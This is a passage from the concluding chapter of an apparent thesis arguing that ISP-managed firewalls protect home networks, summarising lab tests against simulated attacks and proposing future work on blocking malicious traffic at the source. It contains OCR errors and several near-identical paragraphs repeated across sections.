and outer segments. Tests were carried out in the testbed to assess the firewall against cyber-
attacks such as ICMP flooding intrusion, web filtering, AMP exploit, and FTP exploits, and
the results were obtained on the acquired firewall packages and analyzed for efficacy with the

proof in this chapter.

In Chapter 5, analysis was conducted on the basis of results in Chapter 4 and answers to
research questions did prove the point of the study, i.e., the effectiveness of protecting home
networks with ISP managed firewalls will help reduce the threat surface and protect home
networks. The firewall feature does offer security to the home network and its users.
Furthermore, each seller has more distinct feature sets to provide, which will be a trade-off

over the preference that a consumer wishes to acquire. Last is chapter 6, drawing a conclusion
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on the overall research and providing a future road map to protect the home network and

enhance security measures.

The research explored the challenges faced by home network users in various capacities, be it
a common home network user using their home network in a personal capacity, be it a student,
being a housewife, being a businessman or woman, being a tech who is hosting service out of
their home network, or an employee who is working remotely facilitated with WFH. Modern-
day home networks have devices based on IoT technology that help carry work or use them for
entertainment purposes, for education and upskilling purposes, or to carry out daily chores.
Common people are not tech-savvy. They do not understand technology, and when it comes to
security, they are lacking in knowledge. A framework to bring home network support under the
ISP umbrella as an extension ofthe ISP managed remote site under the principle of the managed
network. The study on the kill chain gives a better understanding ofthe whole process of cyber-
attack. This process is critical for understanding threat surfaces and cyber-attacks because any
of the steps in such a process will fail the entire chain, as we saw in this study with the
introduction of network segmentation and firewall. In our research, the lab was a simulation
performed in a controlled environment with the system limitations in terms of the server
hosting the virtual machines having data centre grade processing power and memory, which
does depict the actual effects of a cyber-attack on the Win7 host, which otherwise are very
drastic. Some of the tests prove that the functionality and features work, but in real life, the
effects could be horrendous in the scenario where the host is connected back to the corporate
office using a VPN client and all traffic is encrypted. In the controlled environment, the tools
used were already known. The cyber-attacks simulated were known as the target host IP and
the segments were known as part of grey-box testing. Cyber-attacks are more sophisticated in
nature and multiple tools are employed at once, with the further installation of bots that sit
under the network for long periods of time without going unnoticed. The Win7 host was made

vulnerable to conduct testing and prove the working of the firewall packages.

Understanding the processes and the memory behaviour is essential to monitoring the system
performance. The malicious software causes damage to the operating system performance and
executes specific processes. Hence, understanding the malicious program's behaviour and the
utilisation of processes, including the system's abnormal behaviour, is critical for post-

malicious file execution. In the current study for malware analysis, the malicious files are
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analysed in a controlled sandbox environment, where they pass through different techniques
like static and dynamic malware analysis. Depending on the analysis method, the file is marked
asmalicious, which generates the signature of the maliciousfile. The file signatures are updated
for the end-point antivirus software. The malicious file with a variant can have different
signatures, and the techniques are even available for handling variants. These detections are all
based on sandboxing the malware for analysis. The approach is not applicable for the detection

of zero-day malware.

The method for resolving the problem of vulnerable home networks was discussed in this
thesis. Home network users or ordinary people can’tbe tech-savvy orknow aboutthe emerging
cyber threats or understand the vulnerabilities of the systems or applications/websites they use.
They can be very easily tricked into such situations and need help to protect them. ISPs should
take measures and governments should legislate to protect home users from cyber-threats as it
is in their jurisdiction to protect them from other crimes by police. Similarly, policing at the

infrastructure level would mitigate this issue by protecting homes.

6.2 CONTRIBUTION

The research explored the challenges faced by the home network user in various capacities be
it a home network user using the home network in a personal capacity, be it a student, be
housewife, being a businessman or woman or some tech who is hosting service out of home
network oran employee who is working remotely facilitated with WFH. The modern-day home
network has devices based on IoT technology that help carry work or use it for entertainment
purpose or use for education and upskilling purpose or carry out daily chores. Common people
are not tech-savvy they do not underlie technology and when it comes to security, they are
lacking in knowledge. A framework to bring home network support under the ISP umbrella as
an extension of ISP managed remote sites under the principle of the managed network. The
study on the kill chain gives a better understanding of the whole process of cyber-attack, this
process plays a vital role for threat-surface and cyber-attack as any of the steps from such
process will fail the complete chain. As in this research, we observe with the introduction of
using network segmentation and firewall. In our research, the lab was a simulation performed
in a controlled environment with the system limitation in terms of server hosting the virtual
machines having data centre grade processing power and memory, whichdoes depictthe actual

effects of cyber-attack on the win7 host which otherwise are very drastic. Some of the testing
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prove the functionality and feature working but in real life, the effects could be horrendous in
the scenario where the host connected back to the corporate office using a VPN client and all
traffic is encrypted. In the controlled environment, the tools used were already known the
cyber-attacks simulated were known the target host IP and segments were known which part
grey box testing. Cyber-attacks are more sophisticated in nature and multiple tools are
employed at once and further installation of bots that sits under the network for a long time
withoutbeing gone unnoticed. The win7 host was made vulnerable to conduct testing and prove

the working of the firewall packages.

The understanding of the processes and the memory behaviour is essential to monitor the
system performance. The malicious software causes damage to the operating system
performance and executes specific processes. Hence, understanding the malicious program
behaviourandthe utilisation of processes, including the system'sabnormal behaviour, is critical
for the post malicious file execution. In the current study for malware analysis, the malicious
files are analysed in the controlled sandbox environment, where it passes through different
techniques like static and dynamic malware analysis. Depending on the analysis method, the
file is marked as malicious, which generates the signature of the malicious file. The file
signatures are updated for the end-point anti-virus. The malicious file with a variant can have
different signatures, and the techniques are even available for handling variants. These
detections are all based on sandboxing the malware for the analysis. The approach is not

applicable for the detection of zero-day malware.

This thesis discussed the method to resolve the problem of vulnerable home networks. Home
network users / common people can’t be tech-savvy or know the emerging cyber threats or
understand the vulnerabilities of the systems or applications/websites they use, they can be
very easily tricked into such situations and need help to protect them. ISPs should take
measures and governments should legislate to protect the home user from cyber threats as they
protect them from other crimes by policing similarly policing at infrastructure level over such

malicious traffic/attacks to mitigate this issue by protecting homes.

6.3 RESEARCH LIMITATION

The research explored the challenges faced by the home network user in various capacities be

it a home network user using a home network in a personal capacity, be it a student, be
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housewife, being a businessman or woman or some tech who is hosting service out of home
network oran employee who is working remotely facilitated with WFH. The modern-day home
network has devices based on loT technology that helps carry work or use it for entertainment
purpose or use it for education and upskilling purpose or carry out daily chores. Common
people are not tech-savvy they do not underlie technology and when it comes to security, they
are lacking in knowledge. A framework to bring home network support under the ISP umbrella
as an extension of ISP managed remote sites under the principle of the managed network. The
study on the kill chain gives a better understanding of the whole process of cyber-attack, this
process plays a vital role for threat-surface and cyber-attack as any of the steps from such
process \will fail the complete chain as it this research, we observe with the introduction of
using network segmentation and firewall. In our research, the lab simulation was performed in
a controlled environment with the system limitation in terms of server hosting the virtual
machines having data centre grade processingpower and memory, whichdoes depict the actual
effects of cyber-attack on the win7 host which otherwise are very drastic. Some of the testing
prove the functionality and feature working but in real life, the effects could be horrendous in
the scenario where the host connected back to the corporate officeusing a VPN client and all
traffic are encrypted. In the controlled environment, the tools used were already known the
cyber-attacks simulated were known the target host IP and segments were known which part
grey box testing. The cyber-attacks are more sophisticated in nature and multiple tools are
employed atonce and further installation ofbots that sits under the network for log time without
being gone unnoticed. The win7 host was made vulnerable to conduct testing and prove the

working of the firewall packages.

The understanding of the processes and the memory behaviour is essential to monitor the
system performance. The malicious software causes damage to the operating system
performance and executes specific processes. Hence, understanding the malicious program
behaviourandthe utilisation of processes, includingthe system'sabnormal behaviour, is critical
for the post malicious file execution. In the current study for malware analysis, the malicious
files are analysed in the controlled sandbox environment, where it passes through different
techniques like static and dynamic malware analysis. Depending on the analysis method, the
file is marked as malicious, which generates the signature of the malicious file. The file
signatures are updated for the end-point anti-virus. The malicious file with a variant can have

different signatures, and the techniques are even available for handling variants. These
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detections are all based on sandboxing the malware for the analysis. The approach is not

applicable for the detection of zero-day malware.

This thesis discussed the method to resolve the problem of a vulnerable home network. Home
network users / common people can’tbe tech-savvy or know the emerging cyber threats or
understand the vulnerabilities of the systems or applications/websites they use, they can be
very easily tricked into such situations and need help to protect them. ISPs should take
measures and governments should legislate to protect a home user from cyber threats as they
protect them from other crimes by policing similarly policing at infrastructure level over such

malicious traffic/attacks to mitigate this issue by protecting homes.

6.4 FUTURE WORK

As we have discussed in our research study, seeking help froman ISP and adding a firewall to
a home network will have a huge impactin terms of securing a home network. Firewalls are
proven to protect a network, but this protection works near the endpoint, i.e., near the
destination. The malicioustrafficbeginstravellingfrom the sources from where itwas initiated,
makes its way through the gateway to the ISP, passes through the ISP core network and
channels through to reach the destination. The idea is to prevent the home network from being
through firewalls, though such traffic will pass through several hops and only be dropped at
the destination, utilizing and wasting resources unnecessarily. The attacks should be stopped
at the source, not at the destination. In the future, work should be done to protect not only the
home but also the network and the internet infrastructure as a whole. No malicious traffic
should cross the internet. All malicious traffic should be dropped after crossing the gateway
and beforeitentersthe ISP core, oratmaximum level in the ISP core. ISPs do have the capacity
to investin and protect the internet infrastructure, but ISPs surely need government support in
this regard to secure the internet infrastructure platform. The government's role would be
crucial in terms of legislation and legalities, as an ill person can't be treated against their will.
A secure internet platform will not only protect public homes but will also protect businesses
and other industries as well. Again, such a huge investmentis only possible by an economy of
scale where everyone participates and should contribute to being protected. Working together,
adopting changes, modern security solutions can be procured, and secure services can be

delivered to all, which helps flourish future generations.
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6.5 CconcLusiOoN

This marks the end of a long journey by concluding this research thesis. In this chapter, we
reviewed the overall research study, the contributions towards the research, limitations
observed during the research, and at the end, we discussed the future opportunity to further this

research by suggesting a study on a secure internet platform.

This research study aims to identify the modern-day security threats to a home network and
how to protect the home network from them? How a home network can be protected from
ever-emergingsecurity threats? Does the knowledge of cyber security help homenetwork users
protecttheirhomesand secure theirhomenetworks? What help ISPs can offer to hom e network
users? Do ISP-managed firewalls help home network users secure their home network?
Determine the role a firewall can play in a home network and keep the security threats at bay?
Evaluate multiple vendor firewall packages and each vendor's unique offering which will

protect the home network and secure home network users.

Research started off in anticipation of the COVID-19 pandemic situation, which forced people
to start working from home. That increased the amount of data traffic and important business
data being moved between home networks and offices through the internet. Because of the
daily emerging cyberthreats and the factthat most people are unaware of cyber threats, a home

network becomesa vulnerable place.

To formulate a solution How to secure home network? Taking the idea of a managed network
model being offered to enterprises by ISPs, which has their network and its security managed
by ISPs. The sameideais being proposed to be implemented onahome network; i.e., by taking
the home network security responsibilities away from non-techy home network users, who are
unaware of everevolvingcyber threats, thatcouldhelp users protect theirhome network. These
models were categorised as thick, thin, and intermediate models, where the security
responsibility of a home network will be shared between an ISP and users accordingto the
adaption and implementation of the model. As an immediate step to adapting this approach, an
ISP-managed firewall would be added to the home network to serve as a gateway, as all traffic
passes through this firewall and connects the home networks to ISPs. Furthermore, to test the
feasibility of this model in this study, we simulated cyber threats to a modern home network
and its users in a restricted environment and monitored their effects with and without firewall.
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Determined to help users evaluated proposed operational models and the efficiency of firewalls

in securing a home network.

To search for the most optimal firewall package which an ISP can offer as a part of managed
network home users and considering the cyber security knowledge of a home user, evaluation
of available market firewall packages is performed in a restricted lab environment imitating a
home network. Evaluated each firewall package's unique offering by performinga series of
tests with respect to features offered. As a result of testing, data is generated in the form of
traffic logs, performance charts, and packet captures. Deep analysis was performed on the data
gathered. Also, comparison of the performance among firewall packages by analyzing the
performance duringthe testingphase enables us to establish whatunique features these firewall

packages can offer to help protect the home network.

With the results obtained and the analysis performed, it is concluded that home network
security managed by ISPs would be of great help, with the suggested security models and
firewall packages being adequate in protecting home networks from modern-day cyber threats.
Home network users will have help from an ISP who has relevant resources, skill-set, and

trained staff that will help and support home network users to secure their home networks.
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